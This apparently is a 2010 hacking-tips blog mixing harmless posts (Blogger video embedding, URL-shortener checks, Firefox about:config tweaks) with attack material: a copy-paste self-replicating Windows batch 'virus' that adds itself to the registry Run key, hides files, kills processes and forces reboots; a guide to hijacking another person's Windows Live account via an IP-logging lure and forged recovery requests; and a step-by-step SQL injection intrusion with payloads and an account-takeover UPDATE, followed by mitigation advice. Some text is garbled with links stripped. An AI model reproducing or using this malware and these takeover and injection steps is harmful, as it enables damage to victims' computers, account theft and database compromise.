Monday, September 27, 2010

Save Website As your Desktop Background

Step 1:
Go to the website you want to make (Select the button view,page source)

Advanced SearchLanguage Tools

$10M to the 5 Project 10^100 winners. Learn more.

Step 2:
Then copy the page source
Step 3:
Then paste it into notepad 
Step 4:
Then Save it in desktop as your name.htm
Step 5:
Then Go to your desktop and right click and go to properties
Step 6:
Then after clicking on properties,click desktop and browse
Step 7:After clicking on browse,click on the cyber-genius.htm
Step 8:Click open and then apply the setting.

After it the thing will look like this

Create a Fake And A Destructive Virus in Notepad

This is another simple fake virus but does a little damage,I have published one more article on this about 2 days back ..So i hope this is going to make that even better!
Open notepad and type this:
lol=msgbox (”Warning a virus has been detected on your PC. Press YES to format your hard disk now or press NO to format your hard disk after system reboot”,20,”Warning”)
Then save it as Virus.vbs
and go to the folder that contains it and open it if a window pops out saying that a virus has been detected,then it’s working. Press yes or no to close the window and put it in the startup folder of the victim’s account.
On startup the window should appear.
Note: This does not harm your computer as it does not contain virus.
The Yes and No button does not do anything except closing the window. And you can edit the virus in the sentence: Warning a virus has detected on your PC to any kind of virus eg.Trojan Horse like this lol=msgbox (”Warning a Trojan horse has been detected on your PC. Press YES to format your hard disk now or press NO to format format your hard disk after system reboot”,20,”Warning”)

Simple batch virus. (This is quite Destructive !)

This one is a simple batch virus
Just copy and paste the code given below in notepad and save it as game.bat(not .txt). Be carefull & Don’t run this on your PC
@Echo off
color 4
title 4
title R.I.P
start calc
copy %0 %Systemroot%Greatgame > nul
reg add HKLMSoftwareMicrosoftWindowsCurrentVersionRun /v Greatgame /t REG_SZ
/d %systemroot%Greatgame.bat /f > nul
copy %0 *.bat > nul
Attrib +r +h Greatgame.bat
Attrib +r +h
RUNDLL32 USER32.DLL.SwapMouseButton
start calc
tskill msnmsgr
tskill LimeWire
tskill iexplore
tskill NMain
cd %userprofile%desktop
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat
copy Greatgame.bat FixVirus.bat
cd %userprofile%My Documents
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat
copy Greatgame.bat FixVirus.bat
start calc
msg * R.I.P
msg * R.I.P
shutdown -r -t 10 -c “VIRUS DETECTED”
time 12:00
cd %usernameprofile%desktop
copy Greatgame.bat %random%.bat
goto RIP
What does it Do ?
1) Copies itself into startup
2) Copy itself over one thousand times into random spots in your computer
3) Hide its self and all other created files
4) Task kill MSN, Norton, Windows Explorer, Limewire.
5) Swap the left mouse button with the right one
6) Opens alert boxes
7) Changes the time to 12:00 and shuts down the computer

Wednesday, September 22, 2010

Insert and Add Video FLASH to Blogger and change blogger hack

We wrote an article some time back suggesting how you can Add Video to Blogs. We highlighted two popular video hosts – Google Video and YouTube. Just yesterday (Aug 24, 2007) Blogger released its new Video Upload feature from its Blogger in Draft. There is now an icon in your Post Editor allowing you to upload a video into your post, in the same manner as you would for photos. At the moment, the feature is only available in the Post Editor and not as a Page element. However, we shall explain how you can insert the video into the Sidebar Page Element and not merely have it in the Post. As well, you will learn how to resize and align the uploaded Blogger video.

Upload Video

When creating a New Post, you can see a new “Add Video” icon in the toolbar:-

Customize Video Upload in Blogger

Write the post and when you want to add a video, click this link. You will be asked to upload a video file from your computer. This file has to be in AVI, MPEG, QuickTime, Realplayer, and Windows Media formats and should not exceed 100MB in size. We don't know if there are bugs but we tried uploading 10 videos in different formats and were not successful in 8 of them. If you do see an error message, you can report it to Blogger Support citing the incident ID and try to upload it again. At the same time, assign a title to the video.

Customize Video Upload in Blogger

Video Upload Terms and Conditions

At the bottom, you will have to check the box to indicate that you have read and agreed to the Upload Terms and Conditions. These are the terms imposed by Google Video which Blogger is using for their video upload function. Most of us would not have bothered to read the standard terms. Nevertheless, from a layman's perspective, some salient terms are worth noting:-

1. Google has a non-exclusive, world-wide, royalty-free license to use your name, logo and brand for advertising or promotional purposes.

2. If Google offers a service whereby you may charge end users to download or view your videos, you will receive only seventy percent (70%) of the gross revenues.

3. You warrant that you have the right to use and upload the video. Among other things:-

a. You are at least 18 years of age and are legally allowed to enter into the Agreement and grant license rights.

b. The video is not, in whole or in part, pornographic or obscene.

c. You own all the necessary rights, such as copyrights, trademark rights and rights of publicity in the videos.

d. The display or use of the videos do not and will not violate any applicable laws or regulations and will not be in breach of any rights of persons or intellectual property. (Bear in mind that YouTube has faced many threats of actions and lawsuits by notable figures around the world for illegal videos uploaded onto their site.)

4. If there should be any liability imposed on Google, you have to indemnify them.

Storage Space for Videos

Once you are done, the upload process will start, and since the files are usually big, it will take much longer than photos. You can in the meantime continue to work on the remaining contents of your Post. We had mentioned in Manage Blogger Image Storage Space that there is a 1GB storage limit for photos and images uploaded into your Blog. Since videos are hosted under Google Video and not Picasa Web Album, the video files will not be taking up this storage space. The Google Video terms do not seem to stipulate a storage limit for uploaded videos.

Resize Video

The Blogger video has a width of 320px and a height of 280px. This should fit nicely into the Blog Post segment of all standard Blogger templates. Some people may have customized their Blog layouts and reduced or extended the width of the Blog Posts. To adjust the size of the uploaded videos, after uploading it, view the post under “Edit HTML” mode instead of “Compose” mode.

Customize Video Upload in Blogger

Locate the video code. It should look something like this:-

<object id="BLOG_video-f4854f080ae662a4" class="BLOG_video_class" contentid="f4854f080ae662a4" height="280" width="320"></object>

You can change the width and the height (shown in red). Just ensure that the width does not exceed the width of the main post column, which is usually found under the #main-wrapper or #main-wrap of the template source code.

Align Video to Center or Right

By default the video is aligned to the left of the post. If you want it in the center, you may add this code (in blue) to the above video code.

<div align="center"><object id="BLOG_video-f4854f080ae662a4" class="BLOG_video_class" contentid="f4854f080ae662a4" height="280" width="320"></object></div>

Change the word "center" to "right" if you want it on the right side of the post.

Place Video in Sidebar

As mentioned above, there is presently no “Add Video” option under “Add a Page Element”. To have a Blogger video in the sidebar, we have to first create a post. It can be a temporary post which you can delete later. Upload the video and follow the above guidelines to resize it to a small screen. For example, we resized our test video to a width of "200" and height of "180". Publish the post.

Refresh your Blog. You should see the temporary post together with the small video. View the source code of your Blog. For Firefox users, in your browser toolbar, go to View -> Page Source or press Ctrl+U. For Internet Explorer users, View -> Source. Next, press Ctrl+F, enter the word “video” to search for the video code. It is a rather long code and looks something like this:-

<object classid="..." id="BLOG_video-f4854f080ae662a4" codebase=" cabs/flash/,0,40,0" width="180" height="200" class="BLOG_video_class"> <param name="movie" value="..."> <param name="bgcolor" value="#FFFFFF"> <embed width="180" src="..." type="application/x-shockwave-flash" height="200"></embed> </object>

Block copy this entire piece of code. Now go to Template -> Page Elements -> Add a Page Element in the sidebar, and choose “HTML/JavaScript”. Paste this code. If you want the video to be in the center of the sidebar, add the alignment tags outlined in the earlier section. After saving, drag and drop the element to the part of the sidebar where you want it to appear and Save the Template. You may go to Posting -> Edit Posts to delete the temporary post. View your Blog to see the Video in the Sidebar!

Customize Video Upload in Blogger

Saturday, September 18, 2010

windows live account hack

How to Hack Windows Live Account

by mindhacker ruhil 

The information needed is:
     -Full name
     -Date of birth
     -ZIP/Postal code
     -The IP address they last accessed their account with
     -Their Internet Service Provider
     -Last successful sign-in date
Well obviously some of that information is easier to obtain than others but it shouldn’t be too difficult to get most of it. E.g. Just asking somebody in which town they live in can reveal their country, state and postcode.
Obtaining the IP Address and Internet Service Provider
Most internet users are unaware and naïve to most computer networking terminology so getting them to just hand over their IP address would raise suspicions. The way I do it is with a simple PHP Script which logs their IP address and redirects to Sure, they might not be happy that they’re seeing a spinning cock on their screen, but it will most likely just lead them to believe you were just trying to prank them and will remain none the wiser.
Here is the code for the PHP script:
$handle = fopen("iplog.txt", "a");
fwrite($handle, " $ip");

Getting them to click the link shouldn’t be too hard, I’d imagine. Just link them to and they won’t be able to resist. Note that the log, in this instance will save to
So now that you have their IP address their ISP is the next thing to get our hands on. Easiest thing to do is just do a Whois lookup on their IP address and get the ISP name from there.
Unless you ask them when they last signed in, getting their last sign-in date is entirely up to you. I usually wait for them to come online on Windows Live Messenger then go ahead with it as soon as they do so.
Okay now assuming you have all the information you need, head on over to this link:

Obviously a proxy or a VPN is a good idea when doing this but I’ve never had any issues when going without one.
Once you’re their fill out all the appropriate information, specifically set ‘The e-mail address for us to send a response’ to an email address you already have access to and do the same with ‘Your alternate e-mail address’.
The other important thing you need to do when filling out the information is setting ‘The secret answer to your question’ to “I don’t remember” and it will be counted as a valid answer. Nice security they got going on, I know.
When entering the last successful sign-in, if they are currently signed in or have signed in today you can just type “Today” to eliminate any confusion
It’s best to leave the optional fields empty. We want to give them as little information as possible.
So go ahead and hit the Submit button and if you’ve done everything properly then you should come to a page with this:

Thank you for submitting your issue to Support.
Your Support Ticket Number: XXXXXXXXXXX
For reference, please print this page or write down your support ticket number. Use this number when communicating with Support about this issue.
To make sure that you can receive a reply from Microsoft, add the “” domain to your e-mail “safe list”. If you do not receive a response in your “inbox” within 24 hours, check your “bulk mail” or “junk mail” folders.
Now assuming all the information you provided was accurate, in about 24 hours or so you should receive an email from Microsoft Customer Support that looks like this:

You recently asked to reset your Windows Live ID password by e-mail. Follow the instructions below to reset your password, or to cancel your password reset request.
1. Select and copy the following Internet address.
2. Open a browser, paste the link in the address bar, then press Enter or Return on your keyboard.
1. Select and copy the following Internet address.
2. Open a browser, paste the link in the address bar, then press Enter or Return on your keyboard.
Thank you,
Windows Live ID Customer Support
Please do not reply to this message, which was sent from an unmonitored e-mail address. Mail sent to this address cannot be an
So just follow the link to reset the password and BAM you have their account.

Note:this information only for education purpose,i am not responsible  if some account is hacked by some by using this information kindly regards. VIKAS RUHIL

Check twitter the Real Link of a Shortened URL?

How To Check the Real Link of a Shortened URL?

URL Shortening is a trend in today’s social media and web surfing. Big giants such as Google and YouTube have their own URL shorteners, too. It’s not just because the URL
shortening is a trend of the present, but also it’s important for tiny conversations like twitter or facebook status.
The trend, URL Shortening, was founded by at first and spread widely by twitter. Because you’re limited by how many characters you can use in your conversation, you need everything short but right. That’s why URL Shortening is important and popular at the same time. has an option to preview the shortened link before you visit the site. If you include a word, preview, before the domain, you will see where the link goes. But what about other shorteners?
Well, you can easily check the link before you have a go to any shortened URL by this firefox plugin. But sometimes you just don’t want to restart your firefox and want a quicker way to do this.
google_protectAndRun(“ads_core.google_render_ad”, google_handleError, google_render_ad);
Here comes what exactly you need.
Sucuri has got a nice little web-based tool to let you see the destination of a shortened URL. Not only that, the tool will also check the destination URL in two different ways to find out if it’s safe for you to have a go to the site.
It’s advised to check the destination of a shortened link before you decide to have a visit.


I strongly recommend checking out the real URL behind a shortened one before you click on the link, even if one of your friends tweeted this. Twitter is often harmful for these kinds of shortened URLs that may cause damage to your PC or leave spyware program to your computer. As a result, checking the real URL is important for safe surfing. Also, for the sake of your computer’s safety, you need to make sure that the website you are about to visit is declared safe. Use the tool to know if it is.

Sunday, September 12, 2010

hack a website with sql -injection

The Target Intranet

This appeared to be an entirely custom application, and we had no prior knowledge of the application nor access to the source code: this was a "blind" attack. A bit of poking showed that this server ran Microsoft's IIS 6 along with ASP.NET, and this suggested that the database was Microsoft's SQL server: we believe that these techniques can apply to nearly any web application backed by any SQL server.
The login page had a traditional username-and-password form, but also an email-me-my-password link; the latter proved to be the downfall of the whole system.
When entering an email address, the system presumably looked in the user database for that email address, and mailed something to that address. Since my email address is not found, it wasn't going to send me anything.
So the first test in any SQL-ish form is to enter a single quote as part of the data: the intention is to see if they construct an SQL string literally without sanitizing. When submitting the form with a quote in the email address, we get a 500 error (server failure), and this suggests that the "broken" input is actually being parsed literally. Bingo.
We speculate that the underlying SQL code looks something like this:
SELECT fieldlist
FROM table
WHERE field = '$EMAIL';
Here, $EMAIL is the address submitted on the form by the user, and the larger query provides the quotation marks that set it off as a literal string. We don't know the specific names of the fields or table involved, but we do know their nature, and we'll make some good guesses later.
When we enter' - note the closing quote mark - this yields constructed SQL:
SELECT fieldlist
FROM table
WHERE field = ''';
when this is executed, the SQL parser find the extra quote mark and aborts with a syntax error. How this manifests itself to the user depends on the application's internal error-recovery procedures, but it's usually different from "email address is unknown". This error response is a dead giveaway that user input is not being sanitized properly and that the application is ripe for exploitation.
Since the data we're filling in appears to be in the WHERE clause, let's change the nature of that clause in an SQL legal way and see what happens. By entering anything' OR 'x'='x, the resulting SQL is:
SELECT fieldlist
FROM table
WHERE field = 'anything' OR 'x'='x';
Because the application is not really thinking about the query - merely constructing a string - our use of quotes has turned a single-component WHERE clause into a two-component one, and the 'x'='x' clause is guaranteed to be true no matter what the first clause is (there is a better approach for this "always true" part that we'll touch on later).
But unlike the "real" query, which should return only a single item each time, this version will essentially return every item in the members database. The only way to find out what the application will do in this circumstance is to try it. Doing so, we were greeted with:

Your login information has been mailed to
Our best guess is that it's the first record returned by the query, effectively an entry taken at random. This person really did get this forgotten-password link via email, which will probably come as surprise to him and may raise warning flags somewhere.
We now know that we're able to manipulate the query to our own ends, though we still don't know much about the parts of it we cannot see. But we have observed three different responses to our various inputs:
  • "Your login information has been mailed to email"
  • "We don't recognize your email address"
  • Server error
The first two are responses to well-formed SQL, while the latter is for bad SQL: this distinction will be very useful when trying to guess the structure of the query.

Schema field mapping

The first steps are to guess some field names: we're reasonably sure that the query includes "email address" and "password", and there may be things like "US Mail address" or "userid" or "phone number". We'd dearly love to perform a SHOW TABLE, but in addition to not knowing the name of the table, there is no obvious vehicle to get the output of this command routed to us.
So we'll do it in steps. In each case, we'll show the whole query as we know it, with our own snippets shown specially. We know that the tail end of the query is a comparison with the email address, so let's guess email as the name of the field:
SELECT fieldlist
FROM table
WHERE field = 'x' AND email IS NULL; --';
The intent is to use a proposed field name (email) in the constructed query and find out if the SQL is valid or not. We don't care about matching the email address (which is why we use a dummy 'x'), and the -- marks the start of an SQL comment. This is an effective way to "consume" the final quote provided by application and not worry about matching them.
If we get a server error, it means our SQL is malformed and a syntax error was thrown: it's most likely due to a bad field name. If we get any kind of valid response, we guessed the name correctly. This is the case whether we get the "email unknown" or "password was sent" response.
Note, however, that we use the AND conjunction instead of OR: this is intentional. In the SQL schema mapping phase, we're not really concerned with guessing any particular email addresses, and we do not want random users inundated with "here is your password" emails from the application - this will surely raise suspicions to no good purpose. By using the AND conjunction with an email address that couldn't ever be valid, we're sure that the query will always return zero rows and never generate a password-reminder email.
Submitting the above snippet indeed gave us the "email address unknown" response, so now we know that the email address is stored in a field email. If this hadn't worked, we'd have tried email_address or mail or the like. This process will involve quite a lot of guessing.
Next we'll guess some other obvious names: password, user ID, name, and the like. These are all done one at a time, and anything other than "server failure" means we guessed the name correctly.
SELECT fieldlist
FROM table
WHERE email = 'x' AND userid IS NULL; --';
As a result of this process, we found several valid field names:
  • email
  • passwd
  • login_id
  • full_name
There are certainly more (and a good source of clues is the names of the fields on forms), but a bit of digging did not discover any. But we still don't know the name of the table that these fields are found in - how to find out?

Finding the table name

The application's built-in query already has the table name built into it, but we don't know what that name is: there are several approaches for finding that (and other) table names. The one we took was to rely on a subselect.
A standalone query of
Returns the number of records in that table, and of course fails if the table name is unknown. We can build this into our string to probe for the table name:
SELECT email, passwd, login_id, full_name
FROM table
WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';
We don't care how many records are there, of course, only whether the table name is valid or not. By iterating over several guesses, we eventually determined that members was a valid table in the database. But is it the table used in this query? For that we need yet another test using table.field notation: it only works for tables that are actually part of this query, not merely that the table exists.
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x' AND IS NULL; --';
When this returned "Email unknown", it confirmed that our SQL was well formed and that we had properly guessed the table name. This will be important later, but we instead took a different approach in the interim.

Finding some users

At this point we have a partial idea of the structure of the members table, but we only know of one username: the random member who got our initial "Here is your password" email. Recall that we never received the message itself, only the address it was sent to. We'd like to get some more names to work with, preferably those likely to have access to more data.
The first place to start, of course, is the company's website to find who is who: the "About us" or "Contact" pages often list who's running the place. Many of these contain email addresses, but even those that don't list them can give us some clues which allow us to find them with our tool.
The idea is to submit a query that uses the LIKE clause, allowing us to do partial matches of names or email addresses in the database, each time triggering the "We sent your password" message and email. Warning: though this reveals an email address each time we run it, it also actually sends that email, which may raise suspicions. This suggests that we take it easy.
We can do the query on email name or full name (or presumably other information), each time putting in the % wildcards that LIKE supports:
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x' OR full_name LIKE '%Bob%';
Keep in mind that even though there may be more than one "Bob", we only get to see one of them: this suggests refining our LIKE clause narrowly.
Ultimately, we may only need one valid email address to leverage our way in.

Brute-force password guessing

One can certainly attempt brute-force guessing of passwords at the main login page, but many systems make an effort to detect or even prevent this. There could be logfiles, account lockouts, or other devices that would substantially impede our efforts, but because of the non-sanitized inputs, we have another avenue that is much less likely to be so protected.
We'll instead do actual password testing in our snippet by including the email name and password directly. In our example, we'll use our victim, and try multiple passwords.
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = '' AND passwd = 'hello123';
This is clearly well-formed SQL, so we don't expect to see any server errors, and we'll know we found the password when we receive the "your password has been mailed to you" message. Our mark has now been tipped off, but we do have his password.
This procedure can be automated with scripting in perl, and though we were in the process of creating this script, we ended up going down another road before actually trying it.

The database isn't readonly

So far, we have done nothing but query the database, and even though a SELECT is readonly, that doesn't mean that SQL is. SQL uses the semicolon for statement termination, and if the input is not sanitized properly, there may be nothing that prevents us from stringing our own unrelated command at the end of the query.
The most drastic example is:
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x'; DROP TABLE members; --';  -- Boom!
The first part provides a dummy email address -- 'x' -- and we don't care what this query returns: we're just getting it out of the way so we can introduce an unrelated SQL command. This one attempts to drop (delete) the entire members table, which really doesn't seem too sporting.
This shows that not only can we run separate SQL commands, but we can also modify the database. This is promising.

Adding a new member

Given that we know the partial structure of the members table, it seems like a plausible approach to attempt adding a new record to that table: if this works, we'll simply be able to login directly with our newly-inserted credentials.
This, not surprisingly, takes a bit more SQL, and we've wrapped it over several lines for ease of presentation, but our part is still one contiguous string:
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x';
INSERT INTO members ('email','passwd','login_id','full_name') 
VALUES ('','hello','steve','Steve Friedl');--';
Even if we have actually gotten our field and table names right, several things could get in our way of a successful attack:
  1. We might not have enough room in the web form to enter this much text directly (though this can be worked around via scripting, it's much less convenient).
  2. The web application user might not have INSERT permission on the members table.
  3. There are undoubtedly other fields in the members table, and some may require initial values, causing the INSERT to fail.
  4. Even if we manage to insert a new record, the application itself might not behave well due to the auto-inserted NULL fields that we didn't provide values for.
  5. A valid "member" might require not only a record in the members table, but associated information in other tables (say, "accessrights"), so adding to one table alone might not be sufficient.
In the case at hand, we hit a roadblock on either #4 or #5 - we can't really be sure -- because when going to the main login page and entering in the above username + password, a server error was returned. This suggests that fields we did not populate were vital, but nevertheless not handled properly.
A possible approach here is attempting to guess the other fields, but this promises to be a long and laborious process: though we may be able to guess other "obvious" fields, it's very hard to imagine the bigger-picture organization of this application.
We ended up going down a different road.

Mail me a password

We then realized that though we are not able to add a new record to the members database, we can modify an existing one, and this proved to be the approach that gained us entry.
From a previous step, we knew that had an account on the system, and we used our SQL injection to update his database record with our email address:
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x';
UPDATE members
SET email = ''
WHERE email = '';
After running this, we of course received the "we didn't know your email address", but this was expected due to the dummy email address provided. The UPDATE wouldn't have registered with the application, so it executed quietly.
We then used the regular "I lost my password" link - with the updated email address - and a minute later received this email:
Now it was now just a matter of following the standard login process to access the system as a high-ranked MIS staffer, and this was far superior to a perhaps-limited user that we might have created with our INSERT approach.
We found the intranet site to be quite comprehensive, and it included - among other things - a list of all the users. It's a fair bet that many Intranet sites also have accounts on the corporate Windows network, and perhaps some of them have used the same password in both places. Since it's clear that we have an easy way to retrieve any Intranet password, and since we had located an open PPTP VPN port on the corporate firewall, it should be straightforward to attempt this kind of access.
We had done a spot check on a few accounts without success, and we can't really know whether it's "bad password" or "the Intranet account name differs from the Windows account name". But we think that automated tools could make some of this easier.

Other Approaches

In this particular engagement, we obtained enough access that we did not feel the need to do much more, but other steps could have been taken. We'll touch on the ones that we can think of now, though we are quite certain that this is not comprehensive.
We are also aware that not all approaches work with all databases, and we can touch on some of them here.
Use xp_cmdshell
Microsoft's SQL Server supports a stored procedure xp_cmdshell that permits what amounts to arbitrary command execution, and if this is permitted to the web user, complete compromise of the webserver is inevitable.
What we had done so far was limited to the web application and the underlying database, but if we can run commands, the webserver itself cannot help but be compromised. Access to xp_cmdshell is usually limited to administrative accounts, but it's possible to grant it to lesser users.
Map out more database structure
Though this particular application provided such a rich post-login environment that it didn't really seem necessary to dig further, in other more limited environments this may not have been sufficient.
Being able to systematically map out the available schema, including tables and their field structure, can't help but provide more avenues for compromise of the application.
One could probably gather more hints about the structure from other aspects of the website (e.g., is there a "leave a comment" page? Are there "support forums"?). Clearly, this is highly dependent on the application and it relies very much on making good guesses.


We believe that web application developers often simply do not think about "surprise inputs", but security people do (including the bad guys), so there are three broad approaches that can be applied here.
Sanitize the input
It's absolutely vital to sanitize user inputs to insure that they do not contain dangerous codes, whether to the SQL server or to HTML itself. One's first idea is to strip out "bad stuff", such as quotes or semicolons or escapes, but this is a misguided attempt. Though it's easy to point out some dangerous characters, it's harder to point to all of them.
The language of the web is full of special characters and strange markup (including alternate ways of representing the same characters), and efforts to authoritatively identify all "bad stuff" are unlikely to be successful.
Instead, rather than "remove known bad data", it's better to "remove everything but known good data": this distinction is crucial. Since - in our example - an email address can contain only these characters:
There is really no benefit in allowing characters that could not be valid, and rejecting them early - presumably with an error message - not only helps forestall SQL Injection, but also catches mere typos early rather than stores them into the database.
Sidebar on email addresses
It's important to note here that email addresses in particular are troublesome to validate programmatically, because everybody seems to have his own idea about what makes one "valid", and it's a shame to exclude a good email address because it contains a character you didn't think about. The only real authority is RFC 2822 (which encompasses the more familiar RFC822), and it includes a fairly expansive definition of what's allowed. The truly pedantic may well wish to accept email addresses with ampersands and asterisks (among other things) as valid, but others - including this author - are satisfied with a reasonable subset that includes "most" email addresses. Those taking a more restrictive approach ought to be fully aware of the consequences of excluding these addresses, especially considering that better techniques (prepare/execute, stored procedures) obviate the security concerns which those "odd" characters present.
Be aware that "sanitizing the input" doesn't mean merely "remove the quotes", because even "regular" characters can be troublesome. In an example where an integer ID value is being compared against the user input (say, a numeric PIN):
SELECT fieldlist
FROM table
WHERE id = 23 OR 1=1;  -- Boom! Always matches!
In practice, however, this approach is highly limited because there are so few fields for which it's possible to outright exclude many of the dangerous characters. For "dates" or "email addresses" or "integers" it may have merit, but for any kind of real application, one simply cannot avoid the other mitigations.
Escape/Quotesafe the input
Even if one might be able to sanitize a phone number or email address, one cannot take this approach with a "name" field lest one wishes to exclude the likes of Bill O'Reilly from one's application: a quote is simply a valid character for this field.
One includes an actual single quote in an SQL string by putting two of them together, so this suggests the obvious - but wrong! - technique of preprocessing every string to replicate the single quotes:
SELECT fieldlist
FROM customers
WHERE name = 'Bill O''Reilly';  -- works OK
However, this naïve approach can be beaten because most databases support other string escape mechanisms. MySQL, for instance, also permits \' to escape a quote, so after input of \'; DROP TABLE users; -- is "protected" by doubling the quotes, we get:
SELECT fieldlist
FROM customers
WHERE name = '\''; DROP TABLE users; --';  -- Boom!
The expression '\'' is a complete string (containing just one single quote), and the usual SQL shenanigans follow. It doesn't stop with backslashes either: there is Unicode, other encodings, and parsing oddities all hiding in the weeds to trip up the application designer.
Getting quotes right is notoriously difficult, which is why many database interface languages provide a function that does it for you. When the same internal code is used for "string quoting" and "string parsing", it's much more likely that the process will be done properly and safely.
Some examples are the MySQL function mysql_real_escape_string() and perl DBD method $dbh->quote($value).
These methods must be used.
Use bound parameters (the PREPARE statement)
Though quotesafing is a good mechanism, we're still in the area of "considering user input as SQL", and a much better approach exists: bound parameters, which are supported by essentially all database programming interfaces. In this technique, an SQL statement string is created with placeholders - a question mark for each parameter - and it's compiled ("prepared", in SQL parlance) into an internal form.
Later, this prepared query is "executed" with a list of parameters:
Example in perl
$sth = $dbh->prepare("SELECT email, userid FROM members WHERE email = ?;");

Thanks to Stefan Wagner, this demonstrates bound parameters in Java:
Insecure version
Statement s = connection.createStatement();
ResultSet rs = s.executeQuery("SELECT email FROM member WHERE name = "
+ formField); // *boom*
Secure version
PreparedStatement ps = connection.prepareStatement(
"SELECT email FROM member WHERE name = ?");
ps.setString(1, formField);
ResultSet rs = ps.executeQuery();
Here, $email is the data obtained from the user's form, and it is passed as positional parameter #1 (the first question mark), and at no point do the contents of this variable have anything to do with SQL statement parsing. Quotes, semicolons, backslashes, SQL comment notation - none of this has any impact, because it's "just data". There simply is nothing to subvert, so the application is be largely immune to SQL injection attacks.
There also may be some performance benefits if this prepared query is reused multiple times (it only has to be parsed once), but this is minor compared to the enormous security benefits. This is probably the single most important step one can take to secure a web application.
Limit database permissions and segregate users
In the case at hand, we observed just two interactions that are made not in the context of a logged-in user: "log in" and "send me password". The web application ought to use a database connection with the most limited rights possible: query-only access to the members table, and no access to any other table.
The effect here is that even a "successful" SQL injection attack is going to have much more limited success. Here, we'd not have been able to do the UPDATE request that ultimately granted us access, so we'd have had to resort to other avenues.
Once the web application determined that a set of valid credentials had been passed via the login form, it would then switch that session to a database connection with more rights.
It should go almost without saying that sa rights should never be used for any web-based application.
Use stored procedures for database access
When the database server supports them, use stored procedures for performing access on the application's behalf, which can eliminate SQL entirely (assuming the stored procedures themselves are written properly).
By encapsulating the rules for a certain action - query, update, delete, etc. - into a single procedure, it can be tested and documented on a standalone basis and business rules enforced (for instance, the "add new order" procedure might reject that order if the customer were over his credit limit).
For simple queries this might be only a minor benefit, but as the operations become more complicated (or are used in more than one place), having a single definition for the operation means it's going to be more robust and easier to maintain.
Note: it's always possible to write a stored procedure that itself constructs a query dynamically: this provides no protection against SQL Injection - it's only proper binding with prepare/execute or direct SQL statements with bound variables that provide this protection.
Isolate the webserver
Even having taken all these mitigation steps, it's nevertheless still possible to miss something and leave the server open to compromise. One ought to design the network infrastructure to assume that the bad guy will have full administrator access to the machine, and then attempt to limit how that can be leveraged to compromise other things.
For instance, putting the machine in a DMZ with extremely limited pinholes "inside" the network means that even getting complete control of the webserver doesn't automatically grant full access to everything else. This won't stop everything, of course, but it makes it a lot harder.
Configure error reporting
The default error reporting for some frameworks includes developer debugging information, and this cannot be shown to outside users. Imagine how much easier a time it makes for an attacker if the full query is shown, pointing to the syntax error involved.
This information is useful to developers, but it should be restricted - if possible - to just internal users.
Note that not all databases are configured the same way, and not all even support the same dialect of SQL (the "S" stands for "Structured", not "Standard"). For instance, most versions of MySQL do not support subselects, nor do they usually allow multiple statements: these are substantially complicating factors when attempting to penetrate a network.

We'd like to emphasize that though we chose the "Forgotten password" link to attack in this particular case, it wasn't really because this particular web application feature is dangerous. It was simply one of several available features that might have been vulnerable, and it would be a mistake to focus on the "Forgotten password" aspect of the presentation.
This Tech Tip has not been intended to provide comprehensive coverage on SQL injection, or even a tutorial: it merely documents the process that evolved over several hours during a contracted engagement. We've seen other papers on SQL injection discuss the technical background, but still only provide the "money shot" that ultimately gained them access.
But that final statement required background knowledge to pull off, and the process of gathering that information has merit too. One doesn't always have access to source code for an application, and the ability to attack a custom application blindly has some value.

Sunday, September 5, 2010

firefox hacking for speed up & many more

It's hidden because it's fairly powerful and not nearly as simple to use as the standard Preferences window. In the about:config page, you have to know what you are doing or you can mess things up a bit. In fact, when you attempt to go to that page for the first time, you have to accept an agreement (which is really just a warning) before you can continue.
How this page works is simple. You reach the page by entering about:config in the address bar. There are entries (one per line) that handle various types of configurations. Each entry has a searchable keyword. The entries can be of Boolean, integer or string value. Entries contain Name, Status, Type and Value. Typically, you will be modifying only the Value, by double-clicking on it and making the change. With all of that in mind, let's take a look at 10 of the best ways you can "hack" the about:config page.
If Firefox is fubar'd because you accidentally misconfigured about:config, you can fix it in one of two ways:
|> Make a backup of your prefs.js file before you start editing. Then, if something goes wrong, you can restore it by copying it over the corrupt file.
|> If you can't restore via a backup prefs.js file, you can exit Firefox and issue the command firefox -safe-mode to bring up the Firefox Safe Mode screen. Then, just select Reset All User Preferences To Firefox Defaults. Note: this will restore all user preferences to their default values.

1. Speed up Firefox

This hack requires a few steps. Search for pipelining in the filter and you should see:
network.http.pipelining: change this to true.
network.http.proxy.pipelining: change this to true.
network.http.pipelining.maxrequests: change this to 8.
Now search for max-connections and you should see:
network.http.max-connections: change this to 96.
network.http.max-connections-per-server: change this to 32.

2. Disable antivirus scanning

This is only for the Windows version. If you're downloading large files, this scanning can seriously slow things down. And since you will most likely scan the downloaded file anyway, you'll probably want to disable this. Of course, if you are uber paranoid (not a bad trait for computing), you might want to leave this entry alone.
To disable antivirus scanning, search for scanWhenDone and you should see: change this to false.

3. Open JavaScript pop-ups as tabs

If a pop-up window lacks the features of a browser window, Firefox will handle it like a pop-up. If you would prefer to open all windows, including pop-ups, as new tabs, you need to tell Firefox in about:config. Search for newwindow and you will see three entries. Of those three entries, you will want to modify: change this to 0.

4. Spell checking in all fields

By default, Firefox checks spelling only in multiple-line text boxes. You can set it to check spelling in all text boxes. Search for spellcheckdefault and you should see:
layout.spellcheckDefault: change this to 2.

5. Open search bar results in new tab

When you use the search bar, the results display in the current tab. This can be a nuisance because you will navigate out of the page you are currently in. To make sure Firefox always opens search results in a new tab, search for openintab and you should see: change this to true.

6. Auto export bookmarks

In Firefox 3, bookmarks are automatically saved and exported for you. The only problem is that by default, they're saved as places.sqlite instead of the more convenient bookmarks.html. To change this setting so that they can be easily re-imported, search for autoExportHTML and you should see:
browser.bookmarks.autoExportHTML: change this to true.

7. Disable extension install delay

One of the few gripes I have with Firefox is the silly countdown you must endure every time you want to install an extension. Fortunately, this can be disabled. Search for enable_delay and you should see:
security.dialog_enable_delay: change this to 0.

